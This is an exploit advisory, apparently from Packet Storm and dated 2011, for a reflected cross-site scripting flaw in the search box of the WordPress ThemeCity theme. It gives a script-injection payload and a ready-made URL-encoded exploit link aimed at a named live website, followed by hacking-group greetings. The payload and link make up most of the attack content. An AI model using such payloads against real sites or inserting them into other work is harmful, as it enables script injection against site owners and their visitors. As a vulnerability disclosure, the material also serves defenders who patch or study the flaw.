WordPress ThemeCity Cross Site Scripting

# Exploit Title: WP ThemeCity XSS
# Date: 21.10.2011 - 19.05
# Author: Mr.PaPaRoSSe
# Tested On: BackTrack 5 - Windows xp sp3
# Platform: Php
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Demo : http://www.steveledwards.com/

Search Box
"><script>alert("DDz Mr.PaPaRoSSe")</script>

http://www.steveledwards.com/?s=%22%3E%3Cscript%3Ealert%28%22DDz+
Mr.PaPaRoSSe%22%29%3C%2Fscript%3E&submit=Search

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
# We attempted to work, you can not imagine.
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
# Contact: paparosse.blogspot.com
# Greetz: Http://DarkDevilz.in/
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Mr.PaPaRoSSe  Black_Umo  ALEXTRAX  Brs_BaRoN  ZyX  x-Leader
DARKCOD3R  Santiq0  53rh4t  PerS   3spi0n  syntaX

[And DD'z Family]

[DarkDevilz - Defence And Destruction Group'z - TURKEY]
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 

 packetstorm

http://packetstormsecurity.org/files/106071/wpthemecity-xss.txt